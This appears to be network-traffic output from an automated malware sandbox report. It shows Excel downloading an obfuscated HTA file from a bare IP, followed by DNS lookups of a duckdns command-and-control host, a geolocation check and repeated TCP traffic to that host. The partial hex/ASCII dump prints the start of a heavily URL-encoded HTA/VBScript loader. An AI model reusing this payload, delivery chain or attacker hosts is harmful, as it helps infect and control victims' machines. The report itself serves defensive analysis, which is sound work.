                                                                                                                                                                                                Oct 29, 2024 16:31:56.707799911 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.707813978 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.707834959 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.707848072 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.707850933 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.707863092 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.707909107 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.742090940 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.742415905 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.742429018 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.742439032 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.742450953 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.742463112 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.742471933 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.742489100 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.776376009 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.776452065 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.776464939 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.776484966 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.776495934 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.776501894 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.776618958 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.776619911 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.823461056 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.823477983 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.823492050 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.823622942 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.823673964 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.823715925 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.824033022 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.844789028 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.844805956 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.844816923 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.844916105 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.845118046 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.845129967 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.845139980 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.845196009 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.879441977 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.879476070 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.879501104 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.879514933 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.879524946 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.879539967 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.879554987 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.917924881 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.917948008 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.917967081 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.918087006 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.918087006 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.918378115 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.918395042 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.918433905 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.948199034 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.948231936 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.948247910 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.948265076 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.948286057 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.948398113 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:56.948398113 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:57.171477079 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:57.171534061 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.719408989 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.724803925 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.724884987 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.724984884 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.725033045 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.730441093 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.730469942 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.730494976 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.730498075 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.730520010 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.730540991 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.730691910 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.730762005 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736190081 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736294985 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736323118 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736377001 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736404896 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736432076 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736459970 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736485958 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.736516953 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.741955996 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.742084980 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.742415905 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.742939949 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:02.748842955 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:02.748965025 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:17.150731087 CET967449176192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:32:17.152184963 CET491769674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:32:17.157648087 CET967449176192.3.101.193192.168.2.22

                                                                                                                                                                                                UDP Packets

                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                Oct 29, 2024 16:30:33.274127007 CET5456253192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:30:33.285433054 CET53545628.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:36.851037979 CET5291753192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:30:36.862677097 CET53529178.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:30:59.940699100 CET6275153192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:30:59.948613882 CET53627518.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:13.292412996 CET5789353192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:13.300456047 CET53578938.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:14.695218086 CET5482153192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:14.710309029 CET53548218.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:44.928352118 CET5471953192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:45.936455011 CET5471953192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:47.039072037 CET5471953192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:49.040724039 CET5471953192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:49.937453032 CET53547198.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:49.946886063 CET4988153192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:50.146635056 CET53547198.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:50.944416046 CET53547198.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:50.959697008 CET4988153192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:51.973546982 CET4988153192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:51.981740952 CET53498818.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.060245037 CET53498818.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:53.162472963 CET5499853192.168.2.228.8.8.8
                                                                                                                                                                                                Oct 29, 2024 16:31:53.172028065 CET53549988.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.049382925 CET53547198.8.8.8192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:56.203772068 CET53498818.8.8.8192.168.2.22

                                                                                                                                                                                                ICMP Packets

                                                                                                                                                                                                TimestampSource IPDest IPChecksumCodeType
                                                                                                                                                                                                Oct 29, 2024 16:31:50.146703959 CET192.168.2.228.8.8.8d017(Port unreachable)Destination Unreachable
                                                                                                                                                                                                Oct 29, 2024 16:31:53.060322046 CET192.168.2.228.8.8.8d017(Port unreachable)Destination Unreachable
                                                                                                                                                                                                Oct 29, 2024 16:31:54.049472094 CET192.168.2.228.8.8.8d007(Port unreachable)Destination Unreachable
                                                                                                                                                                                                Oct 29, 2024 16:31:56.203830004 CET192.168.2.228.8.8.8d007(Port unreachable)Destination Unreachable

                                                                                                                                                                                                DNS Queries

                                                                                                                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                Oct 29, 2024 16:30:33.274127007 CET192.168.2.228.8.8.80x8d25Standard query (0)acesso.runA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:30:36.851037979 CET192.168.2.228.8.8.80x1b5eStandard query (0)acesso.runA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:30:59.940699100 CET192.168.2.228.8.8.80x5fb1Standard query (0)acesso.runA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:13.292412996 CET192.168.2.228.8.8.80xf5a2Standard query (0)drive.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:14.695218086 CET192.168.2.228.8.8.80x481fStandard query (0)drive.usercontent.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:44.928352118 CET192.168.2.228.8.8.80x4f81Standard query (0)cokka.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:45.936455011 CET192.168.2.228.8.8.80x4f81Standard query (0)cokka.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:47.039072037 CET192.168.2.228.8.8.80x4f81Standard query (0)cokka.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:49.040724039 CET192.168.2.228.8.8.80x4f81Standard query (0)cokka.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:49.946886063 CET192.168.2.228.8.8.80x4201Standard query (0)cokka.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:50.959697008 CET192.168.2.228.8.8.80x4201Standard query (0)cokka.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:51.973546982 CET192.168.2.228.8.8.80x4201Standard query (0)cokka.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:53.162472963 CET192.168.2.228.8.8.80x9778Standard query (0)geoplugin.netA (IP address)IN (0x0001)false

                                                                                                                                                                                                DNS Answers

                                                                                                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                Oct 29, 2024 16:30:33.285433054 CET8.8.8.8192.168.2.220x8d25No error (0)acesso.run172.67.162.95A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:30:33.285433054 CET8.8.8.8192.168.2.220x8d25No error (0)acesso.run104.21.74.191A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:30:36.862677097 CET8.8.8.8192.168.2.220x1b5eNo error (0)acesso.run104.21.74.191A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:30:36.862677097 CET8.8.8.8192.168.2.220x1b5eNo error (0)acesso.run172.67.162.95A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:30:59.948613882 CET8.8.8.8192.168.2.220x5fb1No error (0)acesso.run104.21.74.191A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:30:59.948613882 CET8.8.8.8192.168.2.220x5fb1No error (0)acesso.run172.67.162.95A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:13.300456047 CET8.8.8.8192.168.2.220xf5a2No error (0)drive.google.com142.250.184.206A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:14.710309029 CET8.8.8.8192.168.2.220x481fNo error (0)drive.usercontent.google.com172.217.16.193A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:49.937453032 CET8.8.8.8192.168.2.220x4f81Server failure (2)cokka.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:50.146635056 CET8.8.8.8192.168.2.220x4f81No error (0)cokka.duckdns.org192.3.101.193A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:50.944416046 CET8.8.8.8192.168.2.220x4f81Server failure (2)cokka.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:51.981740952 CET8.8.8.8192.168.2.220x4201No error (0)cokka.duckdns.org192.3.101.193A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:53.060245037 CET8.8.8.8192.168.2.220x4201No error (0)cokka.duckdns.org192.3.101.193A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:53.172028065 CET8.8.8.8192.168.2.220x9778No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:54.049382925 CET8.8.8.8192.168.2.220x4f81Server failure (2)cokka.duckdns.orgnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                Oct 29, 2024 16:31:56.203772068 CET8.8.8.8192.168.2.220x4201Server failure (2)cokka.duckdns.orgnonenoneA (IP address)IN (0x0001)false

                                                                                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                                                                                • acesso.run
                                                                                                                                                                                                • drive.google.com
                                                                                                                                                                                                • drive.usercontent.google.com
                                                                                                                                                                                                • 192.3.101.21
                                                                                                                                                                                                • geoplugin.net

                                                                                                                                                                                                HTTP Packets

                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                0192.168.2.2249164192.3.101.21803560C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                Oct 29, 2024 16:30:34.322557926 CET384OUTGET /412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                Host: 192.3.101.21
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516231060 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:30:34 GMT
                                                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 07:26:18 GMT
                                                                                                                                                                                                ETag: "20ccf-625988057b33c"
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Content-Length: 134351
                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Content-Type: application/hta
                                                                                                                                                                                                Data Raw: 3c 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 75 61 67 65 25 33 44 4a 61 76 61 53 63 72 69 70 74 25 33 45 6d 25 33 44 25 32 37 25 32 35 33 43 73 63 72 69 70 74 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 35 32 31 2d 2d 25 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 38 25 32 35 32 32 25 32 35 32 35 33 43 25 32 35 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 35 32 30 68 74 6d 6c 25 32 35 32 35 33 45 25 32 35 32 35 30 41 25 32 35 32 35 33 43 6d 65 74 61 25 32 35 32 35 32 30 68 74 74 70 2d 65 71 75 69 76 25 32 35 32 35 33 44 25 32 35 32 35 32 32 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 25 32 35 32 35 32 32 25 32 35 32 35 32 30 63 6f 6e 74 65 6e 74 25 32 35 32 35 33 44 25 32 35 32 35 32 32 49 45 25 32 35 32 35 33 44 45 6d 75 6c 61 74 65 49 45 38 25 32 35 32 35 32 32 25 32 35 32 35 32 30 25 32 35 32 35 33 45 25 [TRUNCATED]
                                                                                                                                                                                                Data Ascii: <script>...document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253Cscript%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2522%25253C%252521DOCTYPE%252520html%25253E%25250A%25253Cmeta%252520http-equiv%25253D%252522X-UA-Compatible%252522%252520content%25253D%252522IE%25253DEmulateIE8%252522%252520%25253E%25250A%25253Chtml%25253E%25250A%25253Cbody%25253E%25250A%25253CsCRIpt%252520typE%25253D%252522tEXT/vBscrIpT%252522%25253E%25250ADIm%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25252
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516290903 CET1236INData Raw: 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32
                                                                                                                                                                                                Data Ascii: 0%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516304016 CET1236INData Raw: 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25
                                                                                                                                                                                                Data Ascii: 2520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516380072 CET1236INData Raw: 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25
                                                                                                                                                                                                Data Ascii: 2520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516391039 CET1236INData Raw: 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35
                                                                                                                                                                                                Data Ascii: %252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2525
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516403913 CET1236INData Raw: 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32
                                                                                                                                                                                                Data Ascii: 520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%2
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516416073 CET1236INData Raw: 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32
                                                                                                                                                                                                Data Ascii: 252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520mUldXjsdkfPjFTRpTuCGMEYHaYqreDwHyQIgMfPYHjsjDcgZddTFQlwiOMUUAX
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516465902 CET36INData Raw: 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32
                                                                                                                                                                                                Data Ascii: 252520%252520%252520%252520%252520%2
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516532898 CET1236INData Raw: 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30
                                                                                                                                                                                                Data Ascii: 52520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516546965 CET1236INData Raw: 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32
                                                                                                                                                                                                Data Ascii: 0%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%25253A%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516561985 CET1236INData Raw: 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25 32 35 32 35 32 30 25
                                                                                                                                                                                                Data Ascii: 2520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%252520%
                                                                                                                                                                                                Oct 29, 2024 16:30:35.516886950 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:30:34 GMT
                                                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 07:26:18 GMT
                                                                                                                                                                                                ETag: "20ccf-625988057b33c"
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Content-Length: 134351
                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Content-Type: application/hta
